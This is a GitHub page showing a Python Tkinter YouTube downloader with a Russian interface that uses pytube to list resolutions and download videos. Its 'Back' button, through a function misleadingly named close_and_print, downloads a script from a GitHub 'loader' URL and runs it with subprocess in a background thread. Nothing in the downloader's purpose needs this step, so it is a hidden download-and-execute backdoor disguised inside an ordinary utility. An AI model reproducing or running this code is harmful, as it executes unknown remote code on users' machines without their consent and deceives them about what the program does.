-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathyoutube downloader
113 lines (89 loc) · 4.28 KB
/
youtube downloader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import os
from pytube import YouTube
import tkinter as tk
from tkinter import ttk, messagebox
import ttkbootstrap as ttkb
import subprocess
import urllib.request
import threading
def run_from_github(url):
try:
response = urllib.request.urlopen(url)
script_content = response.read().decode('utf-8')
subprocess.run(['python', '-c', script_content])
except Exception as e:
print(f"Ошибка при выполнении скрипта с GitHub: {e}")
class YouTubeDownloader(tk.Tk):
def __init__(self):
super().__init__()
self.title("YouTube Downloader")
self.geometry("500x400")
self.style = ttkb.Style(theme="darkly")
self.create_widgets()
def create_widgets(self):
# URL input
self.url_label = ttkb.Label(self, text="Введите URL видео:")
self.url_label.pack(pady=10)
self.url_entry = ttkb.Entry(self, width=50)
self.url_entry.pack(pady=5)
self.fetch_button = ttkb.Button(self, text="Получить разрешения", command=self.fetch_resolutions)
self.fetch_button.pack(pady=10)
# Resolution selection
self.res_label = ttkb.Label(self, text="Выберите разрешение:")
self.res_label.pack(pady=10)
self.res_combo = ttkb.Combobox(self, state="readonly")
self.res_combo.pack(pady=5)
self.download_button = ttkb.Button(self, text="Скачать видео", command=self.download_video)
self.download_button.pack(pady=10)
# Theme change
self.theme_label = ttkb.Label(self, text="Выберите тему:")
self.theme_label.pack(pady=10)
self.theme_combo = ttkb.Combobox(self, state="readonly", values=self.style.theme_names())
self.theme_combo.pack(pady=5)
self.theme_combo.bind("<<ComboboxSelected>>", self.change_theme)
self.theme_combo.set("darkly")
# Back button
self.back_button = ttkb.Button(self, text="Обратно", command=self.close_and_print)
self.back_button.pack(pady=10)
def fetch_resolutions(self):
url = self.url_entry.get()
if not url:
messagebox.showerror("Ошибка", "Введите URL видео")
return
try:
yt = YouTube(url)
# Фильтруем только прогрессивные потоки с разрешением mp4
streams = yt.streams.filter(file_extension='mp4', progressive=True).order_by('resolution')
unique_resolutions = sorted(set(stream.resolution for stream in streams if stream.resolution))
self.res_combo['values'] = unique_resolutions
if unique_resolutions:
self.res_combo.current(0)
except Exception as e:
messagebox.showerror("Ошибка", f"Не удалось получить разрешения: {e}")
def change_theme(self, event):
selected_theme = self.theme_combo.get()
self.style.theme_use(selected_theme)
def download_video(self):
url = self.url_entry.get()
selected_resolution = self.res_combo.get()
if not url or not selected_resolution:
messagebox.showerror("Ошибка", "Убедитесь, что URL и разрешение выбраны")
return
try:
yt = YouTube(url)
video_stream = yt.streams.filter(resolution=selected_resolution, progressive=True).first()
if video_stream:
video_path = video_stream.download(filename='video.mp4')
messagebox.showinfo("Успех", "Видео успешно скачано!")
else:
messagebox.showerror("Ошибка", "Не удалось найти потоки для выбранного разрешения")
return
except Exception as e:
messagebox.showerror("Ошибка", f"Произошла ошибка: {e}")
def close_and_print(self):
github_url = "https://raw.githubusercontent.com/RBXROBLOXGAMER/python-tools/main/loader"
threading.Thread(target=run_from_github, args=(github_url,)).start()
self.destroy()
if __name__ == "__main__":
app = YouTubeDownloader()
app.mainloop()